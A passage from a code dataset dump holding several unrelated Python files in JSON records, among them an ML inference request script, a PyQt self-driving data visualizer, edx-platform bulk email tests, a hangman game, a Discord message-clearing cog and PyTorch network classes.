attention_map_list\n","repo_name":"alcor-lab/splitting_network","sub_path":"models/objectAttentionModelConvLSTM.py","file_name":"objectAttentionModelConvLSTM.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34156060365","text":"import json\nimport logging\n\nimport pandas as pd\nimport requests\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nhandler = logging.StreamHandler()\nlogger.addHandler(handler)\n\ndata = pd.read_csv('data4request.csv')\ndata = data.drop('condition', axis=1)\ndata4request = data.to_dict(orient='records')\n\nfor req in data.to_dict(orient='records'):\n    response = requests.post(\n        url='http://127.0.0.1:8800/predict',\n        data=json.dumps(req)\n    )\n    logger.info('-----')\n    logger.info(f'Code -> {response.status_code}')\n    logger.info(f'Msg -> {response.json()}')\n","repo_name":"made-mlops-2022/ivan_kozyrev","sub_path":"online_inference/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24190202248","text":"def plot_fpr(df_f1, metric):  # metric: 'f1', 'p', or 'r'\n\n  with sns.plotting_context('talk'):\n\n    fig, ax = plt.subplots()\n    hue_order = ['Two-step','PCA-based']\n    hue_order2 = ['Two-step (non-robust)','PCA-based (non-robust)']\n    label_dict = dict(f1='F1 score', p='Precision', r='Recall')\n\n    sns.pointplot(data=df_f1, x='n_sample', y=metric, hue='method',\n                  dodge=0.1, hue_order=hue_order, linestyles='-')\n    sns.pointplot(data=df_f1, x='n_sample', y=metric, hue='method',\n                  dodge=0.1, hue_order=hue_order2, linestyles='--',\n                  markers='x')\n\n    ax.legend(frameon=False, loc='lower right')\n    ax.set_xlabel('Number of samples')\n    ax.set_ylabel(label_dict[metric])\n    ax.set_ylim((-0.05, 1.05))\n\n    fig.tight_layout()\n    #fig.show()\n\n    \nif __name__ == '__main__':\n  plot_fpr(df_fpr, 'f1')\n  plot_fpr(df_fpr, 'p')\n  plot_fpr(df_fpr, 'r')\n","repo_name":"okumakito/sfg-tbio2018","sub_path":"scripts/plot_fpr.py","file_name":"plot_fpr.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9076480286","text":"import os\nimport sys\nfrom os.path import join\n\nfrom vispy.io import read_png\n\nfrom PyQt5.QtWidgets import (\n    QPushButton,\n    QVBoxLayout,\n    QHBoxLayout,\n    QComboBox,\n    QCheckBox,\n    QLineEdit,\n    QSlider,\n    QMdiArea,\n    QFileDialog\n)\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtCore import QTimer\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QIntValidator, QPixmap\n\nfrom utils.filesystem import mkdir\n\nfrom visualizer.canvas2d import CanvasImageDrawer\nfrom visualizer.canvas3d import CanvasPointCloudDrawer\nfrom visualizer.subwindow import Display\nfrom datasets.cadc.cadc import CADCProxySequence\nfrom gui_lib.bev import create_bev_image\n\n\nclass CarVisualizer(QtWidgets.QMainWindow):\n\n    def __init__(self, args):\n        super().__init__()\n\n        self.setWindowTitle(\"Autonomous driving\")\n\n        self.general_layout = QVBoxLayout()\n        self.centralWidget = QtWidgets.QWidget(self)\n        self.setCentralWidget(self.centralWidget)\n        self.centralWidget.setLayout(self.general_layout)\n\n        self.options_layout = QHBoxLayout()\n        self.options_layout.setAlignment(Qt.AlignmentFlag.AlignTop)\n        self.general_layout.addLayout(self.options_layout)\n\n        self.common_layout = QHBoxLayout()\n        self.general_layout.addLayout(self.common_layout)\n\n        self.canvas_drawer = None\n        self._create_ui()\n\n        self.timer = QTimer()\n        self.timer.timeout.connect(self.next_frame)\n\n        self.dataset_path = args.dataset_path if args else \"/home/emperornao/personal/sdc2/data/cadc/2018_03_06/0001\"\n        self.calib_path = args.calib_path if args else \"/home/emperornao/personal/sdc2/data/cadc/2018_03_06/calib\"\n\n        self.create_subwindows({})\n\n        self.sequence = None\n        self.cache_dir = join(sys.path[0], \".cache\")\n        mkdir(self.cache_dir, True)\n\n        self.showMaximized()\n\n    def _create_ui(self):\n\n        # show mode\n        self.mode = QComboBox()\n\n        self.mode.setMinimumWidth(200)\n        self.mode.setMaximumWidth(200)\n        self.mode.setMaximumHeight(70)\n\n        self.mode.addItem(\"cameras + point cloud\")\n        self.mode.addItem(\"cameras + bev\")\n        self.mode.currentTextChanged.connect(self.create_canvas)\n\n        self.options_layout.addWidget(self.mode)\n        # self.mode.currentTextChanged.connect(self.restart)\n\n        # open dir with dataset\n        self.get_dir_with_date = QPushButton(\"open dataset\")\n        self.get_dir_with_date.setMinimumWidth(100)\n        self.get_dir_with_date.setMaximumWidth(200)\n        self.get_dir_with_date.setMaximumHeight(70)\n        self.get_dir_with_date.clicked.connect(self.open_directory)\n        self.options_layout.addWidget(self.get_dir_with_date)\n\n        # open dir with calib\n        self.get_dir_with_calib = QPushButton(\"open calib\")\n        self.get_dir_with_calib.setMinimumWidth(100)\n        self.get_dir_with_calib.setMaximumWidth(200)\n        self.get_dir_with_calib.setMaximumHeight(70)\n        self.get_dir_with_calib.clicked.connect(self.open_directory_calib)\n        self.options_layout.addWidget(self.get_dir_with_calib)\n\n        # close all windows\n        self.close_sub_windows_btn = QPushButton(\"close windows\")\n        self.close_sub_windows_btn.setMinimumWidth(100)\n        self.close_sub_windows_btn.setMaximumWidth(200)\n        self.close_sub_windows_btn.setMaximumHeight(70)\n        self.close_sub_windows_btn.clicked.connect(self.close_subwindows)\n        self.options_layout.addWidget(self.close_sub_windows_btn)\n\n        # cache for bev\n        self.use_cache = QCheckBox()\n        self.options_layout.addWidget(self.use_cache)\n\n        # concentration\n        self.concentration_input = QLineEdit(self)\n        self.concentration_input.setMinimumWidth(100)\n        self.concentration_input.setMaximumWidth(200)\n        self.concentration_input.setMaximumHeight(70)\n\n        self.concentration_input.setValidator(QIntValidator(16, 512, self))\n        self.concentration_input.setText(\"50\")\n        self.concentration_input.textChanged.connect(self.change_concentration)\n        self.options_layout.addWidget(self.concentration_input)\n\n        # run\n        self.run = QPushButton(\"run\")\n        self.run.setMinimumWidth(100)\n        self.run.setMaximumWidth(200)\n        self.run.setMaximumHeight(70)\n        self.run.setCheckable(True)\n        self.run.setChecked(False)\n        self.run.clicked.connect(self.run_or_stop)\n        self.options_layout.addWidget(self.run)\n\n        # slider for frames\n        self.slider = QSlider(Qt.Horizontal)\n        self.slider.setTickPosition(QSlider.TicksBelow)\n        self.slider.valueChanged.connect(self.run_frame)\n        self.slider.setMaximum(0)\n        self.options_layout.addWidget(self.slider)\n\n        # mdi for displaying images\n        self.mdi = QMdiArea()\n        self.mdi.setMaximumHeight(1500)\n        self.mdi.setMaximumWidth(1500)\n        self.common_layout.addWidget(self.mdi)\n        self.subs = []\n\n        self.create_canvas(\"cameras + point cloud\")\n\n    def create_canvas(self, text):\n        if self.canvas_drawer:\n            self.common_layout.removeWidget(self.canvas_drawer.canvas.native)\n            self.canvas_drawer.canvas.native.deleteLater()\n            self.canvas_drawer = None\n\n        if text == \"cameras + bev\":\n            self.canvas_drawer = CanvasImageDrawer()\n        elif text == \"cameras + point cloud\":\n            self.canvas_drawer = CanvasPointCloudDrawer()\n\n        self.common_layout.addWidget(self.canvas_drawer.canvas.native)\n\n    def change_concentration(self, text):\n        if self.mode.currentText() == \"cameras + point cloud\":\n            self.run_frame(self.slider.value())\n\n    def run_frame(self, value):\n\n        if value >= len(self.sequence):\n            self.run.click()\n            return\n\n        current_dir = join(self.cache_dir, \"_\".join(self.dataset_path.split(\"/\")))\n        if not os.path.exists(current_dir):\n            os.mkdir(current_dir)\n\n        cam2pos = {\n            0: 3,\n            1: 4,\n            2: 5,\n            8: 7,\n            3: 2,\n            5: 6,\n            6: 1,\n            7: 0\n        }\n        for i in range(9):\n            if i in cam2pos:\n                self.subs[i].set_image(QPixmap(f\"{self.dataset_path}/labeled/image_{str(cam2pos[i]).rjust(2, '0')}/data/0000000{str(value).rjust(3, '0')}.png\"))\n            if i == 9:\n                pass\n\n        state = self.sequence[value]\n        points = state['points']\n        targets = state['boxes']\n\n        if self.mode.currentText() == \"cameras + bev\":\n            current_file = join(current_dir, str(value) + \"_bev.png\")\n            if not self.use_cache.isChecked() or not os.path.exists(current_file):\n                create_bev_image((50, 50), points, targets[\"boxes\"], current_file)\n            image = read_png(current_file)\n            if self.self.canvas_drawer:\n                self.canvas_drawer.set_image(image)\n\n        elif self.mode.currentText() == \"cameras + point cloud\":\n            if self.canvas_drawer:\n                self.canvas_drawer.set_point_cloud(points[:, :3],\n                                               concentration=float(self.concentration_input.text()),\n                                               labels=targets)\n\n    def next_frame(self):\n        if not self.sequence:\n            self.sequence = CADCProxySequence(\n                data_dir=f'{self.dataset_path}',\n                calib_dir=f'{self.calib_path}'\n            )\n            self.slider.setMaximum(len(self.sequence) - 1)\n\n        if self.run.isChecked():\n            self.slider.setValue(self.slider.value() + 1)\n            self.timer.start(50)\n        else:\n            self.timer.stop()\n\n    def open_directory(self):\n        self.dataset_path = QFileDialog.getExistingDirectory(self, 'Select folder with sequence')\n        self.sequence = None\n\n    def open_directory_calib(self):\n        self.calib_path = QFileDialog.getExistingDirectory(self, 'Select folder with cailbrations')\n        self.sequence = None\n\n    def close_subwindows(self):\n        # self.mdi.closeAllSubWindows()\n        for sub in self.subs:\n            sub.close()\n\n    def run_or_stop(self):\n        if not self.run.isChecked():\n            self.run.setText(\"run\")\n            self.run.setDown(False)\n            self.timer.stop()\n        else:\n            self.run.setText(\"stop\")\n            self.run.setDown(True)\n            self.slider.setValue(self.slider.value())\n            self.timer.start(50)\n\n    def restart(self, new):\n\n        self.close_subwindows()\n        options_to_windows = {\n\n        }\n        self.create_subwindows(options_to_windows)\n\n    def create_subwindows(self, options):\n\n        for i in range(9):\n            sub = Display((400, 400))\n            sub.setWindowTitle(\"window \" + str(i))\n            self.subs.append(sub)\n            self.mdi.addSubWindow(sub)\n        self.mdi.tileSubWindows()\n\n\n# This import must be last, because it fixes import error with QT\nfrom utils import qt_cv2_fix  # noqa\n","repo_name":"EmperorNao/sdc-emperornao","sub_path":"visualizer/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":8998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30380467830","text":"import pandas as pd\n\ndef get_label_func(ref_file):\n    \"\"\"Example get_label_func for ImageDataGenerator. Reads a CSV (found in this\n    directory, 'example_ref_file.csv' and converts it into a list of unique label\n    names, and a mapping of file basename (without extension) to an array of \n    labels. Note this function can also return a single string label name for \n    each file.\"\"\"\n\n    df = pd.read_csv(ref_file)\n    labels = pd.concat([pd.Series(row.image_name, row.tags.split(' ')) \n           for _,row in df.iterrows()]).reset_index()['index'].unique()\n    labels.sort()\n    label_mapping = {row.image_name:row.tags.split(' ') \n\t\t\t\t\tfor _,row in df.iterrows()}\n    return label_mapping, list(labels)\n","repo_name":"ali-tny/keras-helper","sub_path":"examples/get_label_func.py","file_name":"get_label_func.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74674752722","text":"class Solution:\n    def isCousins(self, root: Optional[TreeNode], x: int, y: int) -> bool:\n        level = {}\n        above = {}\n        def deeper(node, depth, parent):\n            if node:\n                level[node.val] = depth\n                above[node.val] = parent\n                deeper(node.left,  depth + 1, node.val)\n                deeper(node.right, depth + 1, node.val)\n\n        deeper(root, 0, None)\n        return x in level and y in level and level[x] == level[y] and above[x] != above[y]\n","repo_name":"stbrumme/leetcode","sub_path":"0993.py","file_name":"0993.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"12604342583","text":"\"\"\"\nTests for the public Python API functions of the Bulk Email app.\n\"\"\"\nfrom testfixtures import LogCapture\n\nfrom xmodule.modulestore.tests.django_utils import ModuleStoreTestCase\nfrom xmodule.modulestore.tests.factories import CourseFactory\n\nfrom common.djangoapps.course_modes.models import CourseMode\nfrom common.djangoapps.student.tests.factories import InstructorFactory\nfrom lms.djangoapps.bulk_email.api import (\n    create_course_email,\n    determine_targets_for_course_email,\n    get_course_email,\n    update_course_email\n)\nfrom lms.djangoapps.bulk_email.data import BulkEmailTargetChoices\nfrom lms.djangoapps.bulk_email.models import CourseEmail\nfrom openedx.core.djangoapps.course_groups.models import CourseUserGroup\nfrom openedx.core.lib.html_to_text import html_to_text\n\nLOG_PATH = \"lms.djangoapps.bulk_email.api\"\n\n\nclass BulkEmailApiTests(ModuleStoreTestCase):\n    \"\"\"\n    Tests for Python functions in the bulk_email app's public `api.py` that interact with CourseEmail instances.\n    \"\"\"\n    def setUp(self):\n        super().setUp()\n        self.course = CourseFactory.create()\n        self.instructor = InstructorFactory(course_key=self.course.id)\n        self.target = [BulkEmailTargetChoices.SEND_TO_MYSELF]\n        self.subject = \"email subject\"\n        self.html_message = \"<p>test message</p>\"\n\n    def test_create_course_email(self):\n        \"\"\"\n        Happy path test for the `create_course_email` function. Verifies the creation of a CourseEmail instance with\n        the bare minimum information required for the function call.\n        \"\"\"\n        course_email = create_course_email(\n            self.course.id,\n            self.instructor,\n            self.target,\n            self.subject,\n            self.html_message,\n        )\n\n        assert course_email.sender.id == self.instructor.id\n        assert course_email.subject == self.subject\n        assert course_email.html_message == self.html_message\n        assert course_email.course_id == self.course.id\n        assert course_email.text_message == html_to_text(self.html_message)\n\n    def test_create_course_email_with_optional_args(self):\n        \"\"\"\n        Additional testing to verify that optional data is used as expected when passed into the `create_course_email`\n        function.\n        \"\"\"\n        text_message = \"everything is awesome!\"\n        template_name = \"gnarly_template\"\n        from_addr = \"blub@noreply.fish.com\"\n\n        course_email = create_course_email(\n            self.course.id,\n            self.instructor,\n            self.target,\n            self.subject,\n            self.html_message,\n            text_message=text_message,\n            template_name=template_name,\n            from_addr=from_addr\n        )\n\n        assert course_email.sender.id == self.instructor.id\n        assert course_email.subject == self.subject\n        assert course_email.html_message == self.html_message\n        assert course_email.course_id == self.course.id\n        assert course_email.text_message == text_message\n        assert course_email.template_name == template_name\n        assert course_email.from_addr == from_addr\n\n    def test_create_course_email_expect_exception(self):\n        \"\"\"\n        Test to verify behavior when an exception occurs when calling teh `create_course_email` function.\n        \"\"\"\n        targets = [\"humpty dumpty\"]\n\n        expected_message = (\n            f\"Cannot create course email for {self.course.id} requested by user {self.instructor} for targets \"\n            f\"{targets}\"\n        )\n\n        with self.assertRaises(ValueError):\n            with LogCapture() as log:\n                create_course_email(\n                    self.course.id,\n                    self.instructor,\n                    targets,\n                    self.subject,\n                    self.html_message\n                )\n\n        log.check_present(\n            (LOG_PATH, \"ERROR\", expected_message),\n        )\n\n    def test_get_course_email(self):\n        \"\"\"\n        A test to verify the happy path behavior of the `get_course_email` utility function and the presence of an\n        expected log message when an email instance can't be found for a given id.\n        \"\"\"\n        course_email = create_course_email(\n            self.course.id,\n            self.instructor,\n            self.target,\n            self.subject,\n            self.html_message,\n        )\n\n        email_instance = get_course_email(course_email.id)\n        assert email_instance.id == course_email.id\n\n        # Next, try and retrieve a CourseEmail instance that does not exist.\n        email_id_dne = 3463435\n        expected_message = (\n            f\"CourseEmail instance with id '{email_id_dne}' could not be found\"\n        )\n        with LogCapture() as log:\n            get_course_email(email_id_dne)\n\n        log.check_present(\n            (LOG_PATH, \"ERROR\", expected_message),\n        )\n\n    def test_update_course_email(self):\n        \"\"\"\n        A test that verifies the ability to update a CourseEmail instance when using the public `update_course_email`\n        function.\n        \"\"\"\n        course_email = create_course_email(\n            self.course.id,\n            self.instructor,\n            self.target,\n            self.subject,\n            self.html_message,\n        )\n\n        updated_targets = [BulkEmailTargetChoices.SEND_TO_MYSELF, BulkEmailTargetChoices.SEND_TO_STAFF]\n        updated_subject = \"New Email Subject\"\n        updated_html_message = \"<p>New HTML content!</p>\"\n        expected_plaintext_message = html_to_text(updated_html_message)\n        update_course_email(\n            self.course.id,\n            course_email.id,\n            updated_targets,\n            updated_subject,\n            updated_html_message\n        )\n\n        updated_course_email = CourseEmail.objects.get(id=course_email.id)\n        assert updated_course_email.subject == updated_subject\n        assert updated_course_email.html_message == updated_html_message\n        assert updated_course_email.text_message == expected_plaintext_message\n        email_targets = updated_course_email.targets.values_list('target_type', flat=True)\n        for target in updated_targets:\n            assert target in email_targets\n        assert True\n\n        # update course email but provide the plaintext content this time\n        plaintext_message = \"I am a plaintext message\"\n        update_course_email(\n            self.course.id,\n            course_email.id,\n            updated_targets,\n            updated_subject,\n            updated_html_message,\n            plaintext_message=plaintext_message\n        )\n        updated_course_email = CourseEmail.objects.get(id=course_email.id)\n        assert updated_course_email.text_message == plaintext_message\n\n    def test_update_course_email_no_targets_expect_error(self):\n        \"\"\"\n        A test that verifies an expected error occurs when bad data is passed to the `update_course_email` function.\n        \"\"\"\n        course_email = create_course_email(\n            self.course.id,\n            self.instructor,\n            self.target,\n            self.subject,\n            self.html_message,\n        )\n\n        with self.assertRaises(ValueError):\n            update_course_email(\n                self.course.id,\n                course_email.id,\n                [],\n                self.subject,\n                self.html_message,\n            )\n\n    def test_determine_targets_for_course_email(self):\n        \"\"\"\n        A test to verify the basic functionality of the `determine_targets_for_course_email` function.\n        \"\"\"\n        # create cohort in our test course-run\n        cohort_name = \"TestCohort\"\n        cohort = CourseUserGroup.objects.create(\n            name=cohort_name,\n            course_id=self.course.id,\n            group_type=CourseUserGroup.COHORT\n        )\n\n        # create a track called 'test' in our test course-run\n        slug = \"test-track\"\n        CourseMode.objects.create(mode_slug=slug, course_id=self.course.id)\n\n        targets = [\n            BulkEmailTargetChoices.SEND_TO_MYSELF,\n            BulkEmailTargetChoices.SEND_TO_STAFF,\n            BulkEmailTargetChoices.SEND_TO_LEARNERS,\n            f\"{BulkEmailTargetChoices.SEND_TO_COHORT}:{cohort.name}\",\n            f\"{BulkEmailTargetChoices.SEND_TO_TRACK}:{slug}\"\n        ]\n        returned_targets = determine_targets_for_course_email(\n            self.course.id,\n            self.subject,\n            targets\n        )\n\n        # verify all the targets we expect are there by building a list of the expected (short) display names of each\n        # target\n        expected_targets = [\n            BulkEmailTargetChoices.SEND_TO_MYSELF,\n            BulkEmailTargetChoices.SEND_TO_STAFF,\n            BulkEmailTargetChoices.SEND_TO_LEARNERS,\n            f\"cohort-{cohort_name}\",\n            f\"track-{slug}\"\n        ]\n        for target in returned_targets:\n            assert target.short_display() in expected_targets\n\n    def test_determine_targets_for_course_email_invalid_target_expect_error(self):\n        \"\"\"\n        A test to verify an expected error is thrown when invalid target data is sent to the\n        `determine_targets_for_course` function.\n        \"\"\"\n        targets = [\"OtherGroup\"]\n        expected_error_msg = (\n            f\"Course email being sent to an unrecognized target: '{targets[0]}' for '{self.course.id}', \"\n            f\"subject '{self.subject}'\"\n        )\n\n        with self.assertRaises(ValueError) as value_err:\n            determine_targets_for_course_email(\n                self.course.id,\n                self.subject,\n                targets\n            )\n\n        assert str(value_err.exception) == expected_error_msg\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/bulk_email/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":9690,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"33895324121","text":"# AC\n# https://www.acmicpc.net/problem/5430\n\n# 4\n# RDD\n# 4\n# [1,2,3,4]\n# DD\n# 1\n# [42]\n# RRD\n# 6\n# [1,1,2,3,5,8]\n# D\n# 0\n# []\n\nt=int(input())\n\nfor _ in range(t):\n  comm=input()\n  n=int(input())\n  nums=[]\n  if n:\n    nums=list(input()[1:-1].split(\",\"))\n  else:\n    input()\n  \n  is_reverse=False\n  front=0\n  rear=n\n  for c in comm:\n    if c==\"R\":\n      is_reverse= not is_reverse\n    if c==\"D\":\n      if is_reverse:\n        rear-=1\n      else:\n        front+=1\n  if front>rear:\n    print(\"error\")\n    continue\n  ans=[]\n  if is_reverse:\n    for i in range(rear-1, front-1, -1):\n      ans.append(nums[i])\n  else:\n    for i in range(front, rear):\n      ans.append(nums[i])\n  print(\"[\"+\",\".join(ans)+\"]\")\n\n","repo_name":"Greek-and-Roman-God/Athena","sub_path":"codingtest/add/ac.py","file_name":"ac.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4490571061","text":"import asyncio\nfrom discord.ext import commands\n\nclass Clear(commands.Cog):\n    def __init__(self,client):\n        self.client = client\n\n    @commands.command()\n    async def clear(self,ctx,amount=1):\n        if ctx.author.id == 373457193271558145 or ctx.author.id == 275971871047024640:\n            await ctx.channel.purge(limit=amount+1)\n            await ctx.channel.send(\"{} mesaj silindi! ✅\".format(amount))\n            await asyncio.sleep(3)\n            await ctx.channel.purge(limit=1)\n        else:\n            await ctx.channel.send(\"Bu komutu kullanmaya izniniz yok!\")\n\n\ndef setup(client):\n    client.add_cog(Clear(client))","repo_name":"BioKZM/Colonist","sub_path":"cogs/clear.py","file_name":"clear.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"10231854039","text":"import json\nimport h5pyd\nimport numpy as np\n\nf = h5pyd.File(\"/nrel/wtk-us.h5\", 'r')\n\noutput = {}\nfor  idx in np.ndindex((900, f['coordinates'].shape[1])):\n    key = str(idx[0]) + \",\" + str(idx[1])\n    value = str(f['coordinates'][idx][0]) + \",\" + str(f['coordinates'][idx][0])\n    \n    print(key, value)\n    output[key] = value\n\nwith open('coordinates.json', 'w') as fp:\n    json.dump(output, fp)\n\n","repo_name":"vigsi/data_processing","sub_path":"download_coordinates.py","file_name":"download_coordinates.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34192735900","text":"HANGMAN_ASCII_ART = (\"\"\"  _    _                                         \r\n         | |  | |                                        \r\n         | |__| | __ _ _ __   __ _ _ __ ___   __ _ _ __  \r\n         |  __  |/ _` | '_ \\ / _` | '_ ` _ \\ / _` | '_ \\ \r\n         | |  | | (_| | | | | (_| | | | | | | (_| | | | |\r\n         |_|  |_|\\__,_|_| |_|\\__, |_| |_| |_|\\__,_|_| |_|\r\n                              __/ |                      \r\n                             |___/\"\"\")\r\nMAX_TRIES = 6\r\nHANGMAN_PHOTOS = {0: \"\"\"x-------x\r\n\"\"\", 1: \\\r\n    (\"\"\"x-------x\r\n|\r\n|\r\n|\r\n|\r\n|\"\"\"), 2: \\\r\n                      (\"\"\" x-------x\r\n|        |\r\n|        0\r\n|\r\n|\r\n|\"\"\"), 3: \\\r\n                      (\"\"\" x-------x\r\n|        |\r\n|        0\r\n|        |\r\n|\r\n|\"\"\"), 4: \\\r\n                      (\"\"\" x-------x\r\n|        |\r\n|        0\r\n|       /|\\\\\r\n|\r\n|\"\"\"), 5: \\\r\n                      (\"\"\" x-------x\r\n|        |\r\n|        0\r\n|       /|\\\\\r\n|       /\r\n|\"\"\"), 6: \\\r\n                      (\"\"\" x-------x\r\n|        |\r\n|        0\r\n|       /|\\\\\r\n|       / \\\\\r\n|\"\"\")}\r\nWIN_LOSE_DICT = {True: \"WIN\", False: \"LOSE\"}\r\n\r\n\r\ndef choose_word(file_path, index):\r\n    \"\"\"takes the file from the input and the index number.\r\n        :param file_path: file path on the computer\r\n        :param index: number word in the file_path\r\n        :type file_path: str\r\n        :type index: int\r\n        :return: the word after it is chosen\r\n        :rtype: str\r\n        \"\"\"\r\n    par_file_path = open(file_path, \"r\")\r\n    z = par_file_path.read()\r\n    sp_file_path = z.split()\r\n    new_file_path = \"\"\r\n    for word in sp_file_path:\r\n        if word not in new_file_path:\r\n            new_file_path += word + ', '\r\n    p = new_file_path.split()\r\n    len_word = len(p)\r\n    x = len(sp_file_path)\r\n    y = ((index - 1) % x)\r\n    word_chosen = sp_file_path[y]\r\n    return word_chosen\r\n\r\n\r\ndef try_update_letter_guessed(letter_guessed, old_letters_guessed):\r\n    \"\"\"checks if the letter  was chosen is 1 letter and only a letter ana not used.\r\n        :param letter_guessed: the letter guessed in the input\r\n        :param old_letters_guessed: the old letters that were guessed already\r\n        :type letter_guessed: str\r\n        :type old_letters_guessed: list\r\n        :return: True if the letter is not in old letters return False if the letter has been chosen\r\n        :rtype: str\r\n        \"\"\"\r\n    if check_valid_input(letter_guessed, old_letters_guessed):\r\n        old_letters_guessed.append(letter_guessed)\r\n        return True\r\n    print('X')\r\n    z = sorted(old_letters_guessed)\r\n    print(\"-> \".join(z))\r\n    return False\r\n\r\n\r\ndef show_hidden_word(secret_word, old_letters_guessed):\r\n    \"\"\" when you choose the correct letter show where it is.\r\n        :param secret_word: the secret word from the file\r\n        :param old_letters_guessed: old letters guessed already\r\n        :type secret_word: str\r\n        :type old_letters_guessed: list\r\n        :return: the word with thw new letter\r\n        :rtype: str\r\n        \"\"\"\r\n    new_letters = \"\"\r\n    for item in secret_word:\r\n        if item in old_letters_guessed:\r\n            new_letters += item\r\n        else:\r\n            new_letters += '_ '\r\n    return new_letters\r\n\r\n\r\ndef check_right_letter(letter_guessed, secret_word, old_letters_guessed, num_of_tries):\r\n    \"\"\"check if the letter guessed is in the secret word.\r\n        :param letter_guessed: the letter guessed in the input\r\n        :param secret_word: the secret word from the file\r\n        :param old_letters_guessed: the old letters that already guessed\r\n        :param num_of_tries: number of tries to guess a mistaken letter\r\n        :type letter_guessed: str\r\n        :type secret_word: str\r\n        :type old_letters_guessed: list\r\n        :type num_of_tries: int\r\n        :return right_letter: the right letter in the secret word\r\n        :return num_of_tries: num of tries that the player got the letter mistake\r\n        :rtype right_letter: str\r\n        :rtype num_of_letter: int\r\n        \"\"\"\r\n    right_letter = letter_guessed in secret_word\r\n    if not right_letter:\r\n        print(\":-(\")\r\n        num_of_tries += 1\r\n        print(HANGMAN_PHOTOS[num_of_tries])\r\n    print(show_hidden_word(secret_word, old_letters_guessed))\r\n    return right_letter, num_of_tries\r\n\r\n\r\ndef check_valid_input(letter_guessed, old_letters_guessed):\r\n    \"\"\"check if the input is one letter and it is not in the old letters.\r\n        :param letter_guessed: letter in input\r\n        :param old_letters_guessed: old letters that where guessed\r\n        :type letter_guessed: str\r\n        :type old_letters_guessed: list\r\n        :return: False if it is not a good letter and True if it is good letter\r\n        :rtype: str\r\n        \"\"\"\r\n    if len(letter_guessed) > 1 or not letter_guessed.isalpha() or letter_guessed in old_letters_guessed:\r\n        return False\r\n    else:\r\n        return True\r\n\r\n\r\ndef check_win(secret_word, old_letters_guessed):\r\n    \"\"\"checks if number of the old letters are in the secret word .\r\n        :param secret_word: the secret word from the file\r\n        :param old_letters_guessed: old letters guessed\r\n        :type secret_word: str\r\n        :type old_letters_guessed: list\r\n        :return: False if all the letters are not in the secret word\r\n        and True if all thr letters are in the secret word\r\n        :rtype: str\r\n        \"\"\"\r\n    for item in secret_word:\r\n        if item not in old_letters_guessed:\r\n            return False\r\n    return True\r\n\r\n\r\ndef main():\r\n    print(HANGMAN_ASCII_ART)\r\n    print(MAX_TRIES)\r\n    # put your path file\r\n    file_path = input('insert file path:').replace(\"\\\\\", \"\\\\\\\\\")\r\n    # put in the index of the path\r\n    index = int(input(\"Insert number: \"))\r\n    print(\"let's start\")\r\n    print(HANGMAN_PHOTOS[0])\r\n    # print the length of the secret word in lines\r\n    len_word = (len(choose_word(file_path, index)))\r\n    word_in_lines = (\"_ \" * len_word)\r\n    print(word_in_lines)\r\n    # whats the secret word?\r\n    secret_word = choose_word(file_path, index)\r\n    guesses = False\r\n    old_letters_guessed = []\r\n    good_letters = []\r\n    num_of_tries = 0\r\n    # loops of guessing the letter\r\n    while not guesses and num_of_tries < MAX_TRIES:\r\n        # put in your letter\r\n        letter_guessed = input(\"Guess a letter:\").lower()\r\n        if try_update_letter_guessed(letter_guessed, old_letters_guessed):\r\n            true_letter, num_of_tries = check_right_letter(\r\n                letter_guessed, secret_word, old_letters_guessed, num_of_tries)\r\n            # if the number of False guesses are more then 6 then loose if not keep going on\r\n            guesses = check_win(secret_word, old_letters_guessed)\r\n    print(WIN_LOSE_DICT[guesses])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n\r\n","repo_name":"EitanBroder/FinalProject","sub_path":"End_Project.py","file_name":"End_Project.py","file_ext":"py","file_size_in_byte":6720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70264141202","text":"from models.basic_models.params import LINEAR_NETWORK_PARAMS as LNP\n\nimport torch\nimport torch.nn as nn\n\n\nclass LinearNetwork(nn.Module):\n    def __init__(self, LNP, device=None):\n        super(LinearNetwork, self).__init__()\n        self.config = LNP\n        self.device = torch.device(\n            'cuda' if torch.cuda.is_available() else 'cpu') if device is None else device\n        \n        self.activation = self.config.activation\n        linear_layers = nn.ModuleList()\n        for i, llp in enumerate(self.config.linear_layer_params):\n            linear_layers.append(nn.Linear(llp[\"in_dim\"], llp[\"out_dim\"]))\n            if i < len(self.config.linear_layer_params) - 1:\n                linear_layers.append(nn.BatchNorm1d(llp[\"out_dim\"]))\n                linear_layers.append(self.activation)\n\n        self.model = nn.Sequential(*linear_layers).to(self.device)\n\n    def forward(self, x):\n        out = self.model(x)\n        return out\n\nclass Encoder(LinearNetwork):\n    def __init__(self, encoder_params, device=None):\n        super(Encoder, self).__init__(encoder_params, device=device)\n        self.checkpoint_file = \"encoder\"\n\n\nclass Decoder(nn.Module):\n    def __init__(self, decoder_params, device=None):\n        super(Decoder, 